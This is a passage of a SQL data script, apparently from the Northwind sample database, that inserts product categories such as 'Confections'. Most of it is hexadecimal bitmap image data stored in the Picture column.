0x151C2F00020000000D000E0014002100FFFFFFFF4269746D617020496D616765005061696E742E5069637475726500010500000200000007000000504272757368000000000000000000A0290000424D98290000000000005600000028000000AC00000078000000010004000000000000000000880B0000880B00000800000008000000FFFFFF0000FFFF00FF00FF000000FF00FFFF000000FF0000FF00000000000000777777777737125353313731773543110105302502105313321714317343717135371373147317317171717121135301610131217777777770146765074747776567616774776565774040371737031611737710110100007777777777717435357353531713343030301103112161705353317353343717135371370317717737371734125031131352171777777714066544724767776774747657700577764774340735757100371507530210777777777777777731737317353731704311151303112110431731305317314171731717171354731713535373107131703011317177777770664576076567476404776147676777674174074740573312411002173611137777777777777353167171735337173531163125351615307173171737171707373173733537023177373737351611010113521737777775245006047474747407777777767657775747477416560075141200115351103077777777777777377143161735717353463107113131303343353171317373107177317173171477135353717370737312503173577777344760547061604760777777777777764677776007470774033001010035212100777777777777777173563535335371731053130707071351165343171701773417357717177130177173717717134101713353173777747640076047447000777777777777777775667570467760774040301010101053107777777777777773712531335337171735301531313134334135353361371350735331737137707137353731737433731717377777776040000407647604777777777777777777460547743565054776011001031213010077777777777777353561737534717337161352171712717103737335137137061373573171711073531737171710351171735373777704740460464746777777777777777777777040667746776007751300530101301300777777777777777373071713713717135241311030711317605117533517171075353357373734173173537373735373773777777770460464740406757777777777777777771777640577740457777000131035310701007777173777777775353431613717357131630731713735311637317173737171235353353535725377777777777777777773737777567404706425046777777777777777757777775246577777767711350131030311300177777357777777737350771731171337510531071351613735534317131717305737357377373077777777777777777777777777776540060405646777777777777374777377777774767777747771076035031110121000173735777777773535307131717373513243357317073171163353712571735073171733535735777777777777777777777777777704600564064077577777777777737777777777424577756771147741121161037100017357733577777773731603521725153251071335213317077071335373371732177373573737777777777777777737737777777776460464604046473777777777777777777737777567776657167647421121121103001035775737377777571711613531337353371435135351713131471731171735716171773753777777777737777777773777777777774740405674747777777777777777777377737176567757370470067070121121100010733531717577777371734173535353353107127713631735370371737173537107377373777777777773777377377171377777777444006640464677777777777777777777777777756777774747047741137112116100305737161373777737173107313531735352471713171173537017173717353731637535777777777777777737737737337177777770760650406047777777777777777077777373437777770567674776012101611210010131717135357777713253425343525353131031717373537171617171371717750537737777777777773737737733713537777777744404656440467777777777777777777377771577774764044774470717131071301210161335253077777757131035313137377534721717173537371637171733737343537777777777777777737737753713137377777764604646560457777777777777773777373001777574777764477611301121010001017135131314377773131716317353135313001717353353717165317371713573173777777777777777737573533373353717777777465404006400767777777777777377735000137776067664707640341216131300300035253521707577135271653531161773716173371375335373531717173757316773777777777777773773737377171313773777770460000440066757777777777777773700010577756764100674031311310100010103131313521073777731131052773171371310715377135737171773353353337717777777777777777773773737333131353353777776764007640456006777777777737371000013576644566565671341210131300010103521703170073735371730311173171371352735377335373725357353757177177777777777777777773737377173317173773777344564046466404444056477777537301000373405606746764011331352171001201013523152107177735303504373171357017005335217135307107317371337377777777777777777773377373137317133353353777706400004400676000640677471001000171464767444564031301052117100301001703117211617173531713035316127331710737171717731734071737171777737777777777777777777737377735333531737777717746654047046440044700465700016113000564440676653130171311303001010303152311340217173613530435313513531210717313613535312131713771777577777777777777777373735333337113713131377777344660240404740064000007003012446064000065641301430121217100303010117214341305030713521770035312153431340315251703537140713531737773573777777777777737373737171337311317171771777714540440064600464074764547407644764474661061711131171213001100121311331330433171353713107121713013170071631331353113013073173537752777777777777777773737337373131371731317707377776646600000000400464006460040000476461100121212163011710430103104341170510350307131714035353017317034353153417125240735317537717377373777777777737173537713137113133135371377737771404047400000000440040000046564612110016111211111303013012110331333130343135134352334031251210717107353213717131300131733737777577777777777777737173713737133713717131774353737777776646444600006000046442564670513430031611030301700012112131170552530043032531351307171335313137007153513035211071631535737716173777777777777737373733733531313133713707375737737757474604640746406546442411030301104111210110303104012112533130313134315113171371407135031707110712313253121520031173733537777777777777777737737373717373313533531177165373577777737777574746445652413513125110130012121121210110013152113152531725005303616343160335303521310243535161134112143537371777777173777777777777731737737313171731353137350737173717352573717737353737171343070110212100210130101013020210311612313171134121711311353134135311353531061303116113010013535373537370777777777777773777371737373331371335117340537153717352573737517340707317351130211011201712103103011001312531711725371124301253717135035215271212170171703130313030703535373777757377777777777773735733717171311371333173163537353707142570532717161352513307111211211401113502101211041713030371135363105331301212530431731135353107031100110411000713737177377377777777777773773733771733317131335353170143417217317073173535317071353250303071021120120301311303124330171711371133150435053537171703713107031316053160317031301071371717717734777777777777777377377337371331351733137124331335351700717053530700714351131501103112107111131030105001153012125363757312131303113121051707131716110210110101100300317137373737713777777777777777777777777377373331537174101170535321705713725353507331216121312110710003070125103130061213110133151317052521716161370213134310313514310303121310140307171717735653777777777777777777775341307071331313130060130305313003411310303014105310101012101214311130121103130131412130757377735213171213135105350311251212021030110101030035317337735731777777777777777777757171310101373535317100112535321610613161035110031310130103010131003030013112105007031301011317731730717031711612012135035335310503110212130104713535713737167377777777777777777737310010135153313530003011010511001212117121243001030012101103010051013100301130011030130077737771750731731631350717133031035302110211010121303533733753773177777777777777777777510100000017335331711043030312121041153010101001121031010102103010303100311012100121010010731737773731731711531300316153171307116111035031101433537533771774377777777777777753012110111000015617137200103110311121203103031210021110010030101010000103110121013000130131017771777771471352373053525313317037130612102103121312573713753777377773777777777735035355371731510001717701100314311430100101311011021102031211011010130010100312112100030012003037777737377335375317330131351631713150110311301535017353777377377177777777777773513513130111053351101771130070131303131053170161307050311101030102121000121211010010101013101101777777777716537131731570716331531352352311210713013343773777375377577777777777713171310135371315373103520010113161311032072113131110311212121012110110031101121213030003100100307737777773717137171731310315331707353014301311253353573573717377737377377777773177125353131735335357103131202521135271510113412163105211111113110121210003100111011100101301010177777377775637717331737071735213317317431734121314317373777777777757777777777317313113107173777531737150101013173031133043713353110631777377777373111001310312121030012121000210777777773733171316171611073135351731703101013171733525777777652104277777377731713535341717353537357571310100010351353250310351317377577525010505357730301031010112100210100101037377777777757335735331734353717371371707131343121753177050001040014077777737713713011331357777775337175000100010370351314771377775713400100000000000417531013130313051130100010077777777777345331735353125353310375313430521353531377770000400140014057777777351717351071353771775357331001111111353353211377777434001000000000000000003531051014110030100100210777777737735335731735217103341737137353413110313535377104700106756207747773537371710325175375777317735110110001107317351677771611013400100000000000000000703121313003012100010017777777777773433173131710735333113710305303431073737770777406456065570014777753103535113137773711771101110010100171771737777171607000010001000000000000000130110300611101010011077737777773717717353731730537516371737125313173171777575646747676566756704773757110717757777773773130000111001110771377777516101105010000000000000000000000532131101721000012000777777773777717317353431343133317171717035307173773777775747400456556756701773737711010343571513571110010010001001777777777357343034341010000050000000000000150121001121100010107777777777771635371353735343535353371335431713535377777770006047606677674073777777771711113173753000001000010100177777777535305141000000401070000000000000000313500310100100010077777777777373537037331530173537317137523173773737777777747650460447465677777777777777777777777300001100000010110777777573530530374175353107057310000000000001710071030010101010777777777377753713713573716137131733533507171353777777777774640540761465477777777777777777777575000000000000000007777777753577575031035257053007700000000000003100121121000300007777375777737343711713131716137171753533437173773777777576700766704465625777777777777777777777737000000000000000077777777773537077577561763571001000000000000053010121001000110077777737777773531733536173253717373373711717353777777777755046564476767477777777777777777777777111300000110101000777777753577753712707100142070070000000010010300713110100010000375771777373534371353317315171731717171707353777377777774766474677644747777757777777777777777717370100013000000007777777777777350574100005251007100000000000000611210030001000017737371777773716135271711732533537373737307377177777777777752424464765677777777777777777777777777141010011100000077777777777770712170710301701617000000000130010531031010101001071771735717777136131173731716173531717135353737377777777747654476744644777777777777777777777777713001011010100100777777777777570570110414161600071000000004170003071011000100000371737137773733417373171371217137373737737771777777777777777467444604677777777777777777777777771700000001010010017777777577757353052431201001015340000000012100171121200100101011735717773375353735317137131613717171731717377377777777777600742076565677777777777777777777777737100010110100000077777777777305705251525034000702100000000005037103101100010000037133710775737352135237317350713737371773777377777777777765046546046467777777675777777777777773710113110110110001777777777775730701006125010100050000000010030013103000010001010717717373737735357135117717334353537373773577377777777777567746644650477577775777777777777777750131100000100100077777777771775711753010530400001010000000010010703113100010000003710735357353737037333713317137373757377173737377777773776564745204646757774777777777777777773313010010101110007777777777577771650341252051012104200000000007001352100101000101017373171737373531617171371713435317337537357777777377377756470064404657777777776567777777777751111101000110011377777777777577161035214105200040101000000000101031013010001010000735377335773773535373173173353737737737737373737377375377777447476704677777775777777777777771371301001001011017777777777537577134104034001001000000000000000700033101000100001003171357331771737160152173171351733717373717177775371737776767460446044777777467774777777777771311111001101017777777777777577756134311012161401000100000000010101012121010000000077337335737377373137335353737363573735373737735337173177756104700046567777777757477777777777117131000100113777777777777776717351410401450101000000000000000016017110100010000010357371773177735371613533371353537373737717353173713717775654065400004677777774707757777777735311010112113777777777777777535757161252161210000010001000000010010310210001001010007335377377353773530713535337337173537373735377311713737765670000004004777765656577777777777531311010111777777777777777777536352141010014340100000000000000010000311010100000001071775335377373737170733735717537373717373735317373717775725650000474046777577777677777777773711311313777777777777777777777575757161050000100000000000000000001001210000100000000377335737737777737313571733733717373735353737731353733770567000007400077777677777577777777735311177777777777777777777777573537010116310100000000000000000000000131010010000010105335173353777371353053331353171735373737373713177737777770016140740004777757777747777777777531377777777777777777777777757347753777717400000000000000000000000010103001000001000035736317357357377317271737373735337171737353777333737377716140141003473777776757465777777773537777777777777777777777777775771757761601000000000000000000000000003100000001001010173317717377377373711373535353734737371717371377777777777502112007047377777756777777777777777777777777777777777777777777771777771501000100000000000000000000000003103010001021016317431635377377173727173373371313531373737377737737777733714005001737377777777777777777777777777777777777777777777777775777776142140100000000000000000000000000110001000101012017713173537377737353117317137137343777373737737373773737373737137773777777777777777777777777777777777777777777777777777777775011210010000000000000000000000000001200100010301211431617353717737353353613733537335373337777733737373373737373737737373777777474240567777777777777737173302137777777777777753435341410001010000000000000000000000010010003010101003173617313737573753353435373135337773333777733737373373373373733737773777756101000507777777777777776140500001377777777777753525210250000000000000000000000000000210010010210303117351314771737373371321733173737733337377333373333373373373733773773777714000404070747777777777400000000000400257777777757170714141001000000000000000000000000001003001011010100617335733135377717137152357333773337333333373337373737377373777377377777435777707477175777777700000000000000005377577777716171430300100100000000000000000000000000010021201210311314121353737173737313253333733337333373373337333373377337373337737777710777775077574707777700000000000000011007377757753717071050140000000000000000000000000000001000101310310035737171253537177317353057733737333333333333337373373337373777737777777775475725777770477770000000000000000003005777677757717070102101000000000000000000000000000121010100310311121312135353343737733337373373333373333333737333337373737373373777777777773470052574177777700000000000000000010077575777771751016010000100000000000000000000000000100030310130307171353433035353773731717373333333337337333333373733373737377777777777777747125352757657770000000000000000001250577777753571252501410100000000000000000000000000110001011013010112130313117312777733323323332337333333333737373333737373737737777777777777140016050257407700050000000000000041003777777777357103000000000000000000000000000000002030003071301213353413437017717737373333333333333333333333333373733737373737737777777777777375017257400747100000000000000001000075777577575307505101010000000000000000000000000010101211035351010313703113733337337333333323333333733733733373333373737373737777777777777777477405670067777000000000000000000007743477777737530302500000100000000000000000000000130300313121213013431353673377373323333333333323333333333373333737373737377777777777777776747640424000474775200000000000000007575707705753553141410010100000000000010000000000013011035217131301703137331373333233333323333333333333333373373733737373737737777777777777756777004774770576705700000000000002177677057777777347130012000000000000003500000000000013125035217050131353137337333313333323333233333332337333333333733737373737737777777777464644640004047406700677505000107161756505777000575357316153050101000000000017100000000000707125131213130137333273313332333233333333332333733333373737373733733737737777777777656740000074067640000575767700416500416777777775777777717535214010000001000005370000000000424133530351302130137333323233333333333333333333233333333333333333773377373737777777757474000004656504704756524057470770071257777777777777571771341431001010000010117430000000007406753071034111013273331333323332333333233233333333733733733737373377337377777777774246740047000064704706760077077574774774577777777777777775347131020500010000035210100000000675740243103130303033323233331333333333233333333333333333333733337373337373737377776564404004064000474404004104747724740776776777777777777774735317435102100010015035700000000004642440043101010101331333323333323333233333333233332333333733373733373737373777777706400000670400000000070470477777577074757757777777777775675775701520510521001431500010000000700040056103121312103233333332333333213333323333323333333733337333737373737373777744470000004041640560046747477757556777417677707777777776567467171353413001006143043401000000074000004640210101001033323033333231333333233333333333333733373737373737337373773774676740460000640646406756777477776775774675447407776774052467747257253143525012107100000000000464270047040121303121333333323333323333333333332333333333373333333333337337373377640444004000004004000046777770707756767775677777657574256477567057357057177171410507110100000000054640676740101001003033333132333332332333033333323337333337373737373737373777774040000600004640000470047677434475034774434774750676705657740400645717377753430001214730000000000600004404042101301333323233333333333333333312333333333733733333733373373737376420000004006040420006406767767477042457707407047765774067764740064163717575251010000573500014425604450000046500210130333131323313233333333333333333373333733373733737337373777745400044004040000405447747747577774050604077447747465765044747604776445777775200010101350102467406470640000046041030113233733312333323323323323333233337333373333733737373373774664400000004000000460467767676776770675424770747725046565677654004476064065351777777777770005470474004000600470001012031323333333333333333333333333333333737337373373337377777000400000000000040000006767477676777765702576004765406770464004604700440000577777777777777750076000000000007407646001211733330332332313333333333323333333733333733377373737373744040000000000040647400477676765657656564047645076567656440756425674004704047777777777777777710400007647600540044650030123333333331333233233231233333337333373733737333373737777000040000000000040004000445740400676472470041674004740400042447560470424747677777777777777777760004047044064600000640171130337303233333333333333333333333733333733737373737737765400400000000400046004600064000400400540470047040076000470047646404004740004377777777777777777040077047707400740000740121333331373323333333333333233333333373733373337373733777046400040000000640040074006004367400407601647400764045607404650470576474040654777777777777777770404400746440044674046002117303137133133233231233233337373337333337337737373777704640000040004040000004400440674400046764064740040410065247000006746645647704427777777777777777700600047004704670400674013031377032323333333333333333233337333373733733373773737400000000000004040074567202400460000007400564706776656065646406004007247044046577777777777777777040460057706000400005674001137117313330333333333333333333333373333733737373377740400004400004000004464044047004747440046564006004454045640474654004744064760006777777777777777777400400674147700707604060307032313733333233233213233333373373337373373737377737740004000040000040400070004406640460707656475004006020064047441600474007476500077777777777777777740000000047464064074004400117313073333333333333333333373333337333337333737373770600460004604000007006464640045061046404650640560056440540064674070465647400406477777777777777774000420000760000434007060003313753533723331333333333323333337337373737373737777704700040640004000044050065000460460074004604006544640046700470640470744006647040047777777777777000400404007704000467444044013073312713330323323323323333373333333333337373737377466400404400654060006460460447474050060000460046064740004474400564464024045240640004777777656744000640074047777047446056700053531713733333333333333333333337373737373733737377774400000000047676404746540000746447465440047406704504004467404046746540470564004740046567765656424064040060777744040610674003312731353333333333333333333333333333333333737377777400004440000464640004044604464647676766746560404046000476776767677776004646400404656676646464644400400640404777600004400460011713000000000000000000000105000000000000E0AD05FE);<br>INSERT INTO Categories (CategoryID, CategoryName, Description, Picture)&nbsp; VALUES(3, 'Confections', 'Desserts, candies, and sweet breads', 0x151C2F00020000000D000E0014002100FFFFFFFF4269746D617020496D616765005061696E742E5069637475726500010500000200000007000000504272757368000000000000000000A0290000424D98290000000000005600000028000000AC00000078000000010004000000000000000000880B0000880B00000800000008000000FFFFFF0000FFFF00FF00FF000000FF00FFFF000000FF0000FF0000000000000011333073573777770400000000000000606000025200001413131531171603707002124016107537161763750635717251217135717017353716000002521400207000001243616777777717333373717177373737770000111113133013135773770000000000001000005004000633113131331070507343004000000307076161743351435653757177317177171616717060407677677567706425343717777773735753173737375353733711331311111111313123577700004371200676777367777771113153131177737707704312536170717117777356373737356377717737137473571677170771773563770001677747677773753133373353737137371753111131313013131613111216303537135000775347717731113713317133177777777073477251617777771777735257577735737771753753317377716027776777777704363567371773753333717135373573735377371311127113113031701311111113113167007367777677173311311313513777777777147077761677777777717537737537735717777357375707357777567777767777036563577767753375353733737173735337737731311112313013131310313131313171177047767077735353313353133117777777776377717771777777777773535737775777773777735335355373773777777777776177163753573353333313531737375337131737127113111131352131331011213117133700371737777131311711317113177777777717771677777777777777777773535377377777777777577336577777777777776716067774767317371711733733537377717777531112310312111313037113131711331314304776576717171533131313313777777777767777773437777777777743757777735777777777773735753073577777777777607177773731737173373353173717731373373713111331311330351113015331131131734307777777313133117135315313777777773537777777777777777777753773717777777777777777773777776777777777771706161771733133731317337173773737357377310311131310313213013307131131131300061727717317173133131311113777777777775717537777777777773652757717375777577777525753717177773536177725352561671737353533317137173771717375371331312101131311311315313113137131000060416711313117113171313117777777535373773653577717377375375276775737773773777773675777717777777616520635373533131733713333537375373737377311131113131130131213033130311313170107012701335313313171311311317177373777357175377352765776527437171773773777777377375363717777770717771653527353317373171371713371737731717737312113111112113031313103131331353160007650771131715313131311311777777771716376377776775371737313616163477757717775775777756707571777635361343747335313173731331335337373137373531113110311113111130173111531331313112001250731713331713171311313777357773775375343537377767575653753573617377773777377357737773677777767761743717333733173731335335375377133533713111111013130312173107313107131313410761277131353531353131131357375737353537537777756774352725347343435767753757737577773571777171717177170716731713173353731731133137333713713110333131311311111311331213313131350307165013131313153131131317375737775777773743777371737777536734371777353777737577373777777777777777716773653533337317373131313353731131331331111112135301130331033531311133131216167737313537313313113531177737777737371753771777777777772535734363477777777777375775777777777777777771657373317131717173331371331733133131333133113031331111331113317331153137175377771713117111717313131177777777775773771777777777777777634775773777777777777737737737777777777777777377717313333337353131331331333133131112177331331103134137305310531317177377777131353713371313131113777777777737777777777777777777535777777577777777777777777777777777777777777777777331371353537331331313133111010313113770171011311313131733133313133777717773173131131131717113117777777777777777371777777777737773737373777773777777577777777777777777777735777713133131333137313131311311101011177337160077121301130531317114317113777777713171313173131317113177777777777777777777777777357773777777477073777717373737577777777777777777777573733131331313735311310311333111111770167700007151313133135313313133117773775313131353137131313111777777777377777777735353577737777177377377573717777777537777777777777777777737773531331313131337311311011113111317160777700007211111113433711313113377177773531711337131011711317777777777777777537777777377753537735717737777777753777773577737777777777777777713331333313131313110101113111311167707770000000000337313101335353371377737313131313513531363131777777777777737173757377377737373771733731773753737377377777377775377777777777773733131111313313331311113135335313777734340000000000011311311131211171735771317131313313171753117777777777737537777377177171717171370753175357373537177737377717377777377777777771317313331311301331313111337737717770135370000000000311371312131313131737137131131717317131713137777773735737773537177137373737177133353372317173537377757777777777377777777777773313311311111310131313175717317334341011131341000004137135313531353737533513173171311713537717777737775737757717377377777353533317171353111737353717353737377773717173777777777731331311313111111131117333735713135313130111134303536313131713311331713713331311331331353163117737775377777331371735312101313171717131211333131331211377775373777777757377777777133133311100010111113031177173311011111111031131752575317311315303533771353531731731531317153315777377373537535371735311331313133131011011013131131310131377357373777377177377777113313131111113133113137137371313131301311131131373737117371313131713771313131531731353137351335357775777133731731313331312111131311011013111111111131303317375377377777357737773313313333133133133101117171731111111130311113135353773711331217131371371313533371371317117371131373733137173131331311111111303010121011111001010101111111031337135373775307777731311313133313313113131337377531301103111301313131777771337171313113131135373317137131310717113113113577713711311110101101101111131111310001111010100001011112113137777737730737713131133101311313371313111713111131350311331703530317735313171317113173131117113713135313121317115313113731331301010100101101010111010111100011101010101010110111131737735775707711113110101331371333113311017103113135211521313131313131713135303131135337337113717131313171